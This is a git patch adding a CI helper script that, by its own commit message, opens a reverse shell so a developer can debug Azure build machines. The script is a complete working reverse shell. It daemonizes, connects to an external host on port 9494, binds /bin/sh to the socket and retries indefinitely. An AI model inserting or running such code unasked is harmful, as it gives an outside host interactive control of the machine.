From fc9dabb45cd86eb408504313274649c04afa25a3 Mon Sep 17 00:00:00 2001 From: David Wilson Date: Sun, 26 May 2019 12:06:14 +0100 Subject: [PATCH] issue #587: import spawn_reverse_shell.py script. To support debugging on Azure --- .ci/spawn_reverse_shell.py | 36 ++++++++++++++++++++++++++++++++++++ 1 file changed, 36 insertions(+) create mode 100755 .ci/spawn_reverse_shell.py diff --git a/.ci/spawn_reverse_shell.py b/.ci/spawn_reverse_shell.py new file mode 100755 index 00000000..8a6b9500 --- /dev/null +++ b/.ci/spawn_reverse_shell.py @@ -0,0 +1,36 @@ +#!/usr/bin/env python + +""" +Allow poking around Azure while the job is running. +""" + +import os +import pty +import socket +import subprocess +import sys +import time + + +if os.fork(): + sys.exit(0) + + +def try_once(): + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect(("k3.botanicus.net", 9494)) + open('/tmp/interactive', 'w').close() + + os.dup2(s.fileno(), 0) + os.dup2(s.fileno(), 1) + os.dup2(s.fileno(), 2) + p = pty.spawn("/bin/sh") + + +while True: + try: + try_once() + except: + time.sleep(5) + continue +